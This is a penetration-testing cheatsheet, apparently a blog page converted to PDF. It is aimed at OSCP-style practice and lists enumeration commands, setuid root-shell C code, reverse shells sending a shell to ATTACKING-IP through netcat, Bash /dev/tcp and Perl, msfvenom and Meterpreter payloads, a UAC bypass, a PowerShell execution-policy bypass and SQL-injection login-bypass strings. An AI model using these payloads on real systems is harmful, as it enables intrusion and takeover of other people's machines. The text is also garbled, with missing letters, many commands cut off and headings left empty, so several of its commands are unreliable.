Pentesting Cheatsheet
Pentesting Cheatsheet
MENU
Pentesting Cheatsheet
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
In addition to my own contributions, this compilation is possible by other compiled
cheatsheets by g0tmilk, highon.co ee, and pentestmonkey, as well as a few others listed
at the bottom. My personal Work owy Pentesting list is found here. The Work owy list is
an aggregate of every bit of enumeration I’ve done from all the Vulnhub writeups I did.
SSH (22)
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Finger Enumeration (79)
Pop3 (110)
RPCBind (111)
Oracle (1521)
Fingerprinting
Exploit Research
Compiling Exploits
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Packet Inspection
Password Cracking
Bruteforcing
TTY Shell
Netcat. 7
PHP
Bash
Perl
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Meterpreter
Windows reverse meterpreter payload
Meterpreter Payloads
Binaries
Web Payloads
Scripting Payloads
Shellcode
Handlers
Powershell
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Privilege Escalation
Linux
Windows
Command Injection
File Traverse
Transfer le
Activate shell le
SQLInjections
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Injections
SQLMap
Miscellaneous
Tunneling: 11
AV Bypass: 12
Web hosts. 12
Shellshock
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Recon
Meterpreter Stu
Proxy Chaining
Huge collection of common commands and scripts as well as general pentest info
Scripts
Pentest Checklist
Enumeration
General Enumeration:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nmap -v -sS -A -T4 x.x.x.x // Verbose, SYN Stealth, Version info, and scripts against
services.
netdiscover -r 192.168.1.0/24
nmap –script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-
cve2010-4221,tftp-enum -p 21 10.0.0.1
SSH (22):
nc INSERTIPADDRESS 22
nmap –script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-
1720,smtp-vuln-cve2011-1764 -p 25 10.0.0.1
nc -nvv INSERTIPADDRESS 25
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
telnet INSERTIPADDRESS 25
dirbuster (GUI)
nikto –h 10.0.0.1
Pop3 (110):
USER pelle@INSERTIPADDRESS
PASS admin
or:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
USER pelle
PASS admin
RPCBind (111):
rpcinfo –p x.x.x.x
enum4linux –a 10.0.0.1
nbtscan x.x.x.x // Discover Windows / Samba servers on subnet, nds Windows MAC
addresses, netbios name and discover client workgroup / domain
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-
061.nse,smb-vuln-regsvc-dos.nse
smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
snmpenum -t 192.168.1.X
Oracle (1521):
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
tnscmd10g status -h INSERTIPADDRESS
showmount -e IPADDR
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
mount -t cifs -o username=user,password=pass, domain=blah //192.168.1.X/share-name /mnt/cifs
// Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it
will prompt on the CLI (more secure as it wont end up in bash_history)
apt-get install smb4k –y // Install smb4k on Kali, useful Linux GUI for browsing SMB
shares
nc -v 192.168.1.1 25
telnet 192.168.1.1 25
Exploit Research
searchsploit windows 2003 | grep -i local // Search exploit-db for exploit, in this example
windows 2003 + local esc
Compiling Exploits
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
gcc -o exploit exploit.c // Compile C code, add –m32 after ‘gcc’ for compiling 32 bit code
on 64 bit Linux
Packet Inspection:
tcpdump tcp port 80 -w output.pcap -i eth0 // tcpdump for port 80 on interface eth0,
outputs to output.pcap
Password Cracking
Use hash-identi er to determine the hash type.
https://hashkiller.co.uk
Paste the entire /etc/shadow le in a test le and run john with the text le after john.
john hashes.txt
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Bruteforcing:
bin/bash:
int main(void){
setresuid(0, 0, 0);
system(“/bin/bash”);
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
bin/sh:
int main(void){
setresuid(0, 0, 0);
system(“/bin/sh”);
TTY Shell:
echo os.system('/bin/bash')
/bin/sh –i
execute('/bin/sh') // LUA
!sh // NMAP
:!bash // Vi
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Spawn Ruby Shell
Netcat
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
PHP
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
(Assumes TCP uses le descriptor 3. If it doesn’t work, try 4,5, or 6)
Bash
exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do $line 2>&5 >&5; done
Perl
exec "/bin/sh";
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~-
>fdopen($c,w);system$_ while<>;' // Windows
Meterpreter
Windows reverse meterpreter payload
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
set payload linux/meterpreter/reverse_tcp // Meterpreter Linux Reverse Payload
portfwd add –l 3389 –p 3389 –r target // Meterpreter create port forward to target machine
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
use exploit/windows/local/bypassuac // Bypass UAC on Windows 7 + Set target + arch,
x86/64
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Meterpreter Payloads
Binaries
Web Payloads
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php //
PHP
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war // WAR
Scripting Payloads
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters.
Msfvenom will output code that is able to be cut and pasted in this language for your
exploits.
Handlers
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to
receive your incoming shells. Handlers should be in the following format.
exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
exploit -j -z
Powershell
Execution Bypass
Set-ExecutionPolicy Unrestricted
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Powershell.exe blocked
Privilege Escalation
Linux:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://github.com/pentestmonkey/unix-privesc-check
Windows:
https://github.com/pentestmonkey/windows-privesc-check
http://www.fuzzysecurity.com/tutorials/16.html
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
Command Injection
File Traverse:
website.com/ le.php[?path=/]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Transfer le (Try temp directory if not writable)(wget -O
tells it where to store):
; php -f lelocation.php;
SQLInjections
Common Injections for Login Forms:
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
' or 1=1/*
') or '1'='1--
') or ('1'='1—
SQLMap
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
sqlmap -p user --technique=B
Miscellaneous
Tunneling:
sshuttle is an awesome tunneling tool that does all the hard work for you. It gets rid of the
need for proxy chains. What this command does is tunnels tra c through 10.0.0.1 and
makes a route for all tra c destined for 10.10.10.0/24 through your sshuttle tunnel.
AV Bypass:
Web hosts
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
service apache2 start // Starts Apache web server. Place les in /var/www/html to be
able to ‘wget’ them.
Netcat
Host: cat happy.txt | ncat -v -l -p 5555 Target: ncat localhost 5555 > happy_copy.txt // download
le via ncat
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
4));os.dup2(s. leno(),0); os.dup2(s. leno(),1); os.dup2(s. leno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Shellshock
https://toshellandback.com/2015/11/24/ms-priv-esc/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
SQL & Apache Log paths
http://www.itninja.com/blog/view/mysql-and-apache-pro le-log-path-locations
Recon
https://bitvijays.github.io/blog/2015/04/09/learning-from-the- eld-intelligence-gathering/
https://highon.co ee/blog/cheat-sheet/
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
Meterpreter Stuff
http://netsec.ws/?p=331
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Proxy Chaining
apt-get install sshuttle
https://github.com/sshuttle/sshuttle
https://github.com/ro 0r/proxychains-ng
https://www.o ensive-security.com/metasploit-unleashed/proxytunnels/
Scripts
https://github.com/rebootuser/LinEnum
https://github.com/mzet-/linux-exploit-suggester
https://github.com/azmatt/windowsEnum
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
https://github.com/leebaird/discover
https://nmap.org/nsedoc/
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Pentest Checklist
http://mateustymbu.xpg.uol.com.br/Bibliography/Pentest_Checklist.pdf
Pentesting Work ow
https://work owy.com/s/FgBl.6qcAQUUqWM
http://www.securitysift.com/o sec-pwb-oscp/
https://netsecfocus.com/topic/32/oscp-like-vulnhub-vms
https://blog.propriacausa.dewp-content/uploads/2016/07/oscp_notes.html
https://localhost.exposed/path-to-oscp/
https://www.reddit.com/r/netsecstudents/comments/5i00w6/my_experience_with_the_os
cp/
https://naterobb.blogspot.com/2017/02/my-experience-with-oscp-to-kick-o -my.html
http://www.securitysift.com/o sec-pwb-oscp/
SHARE THIS:
Like
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FOLLOW ME ON TWITTER
UP ↑
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD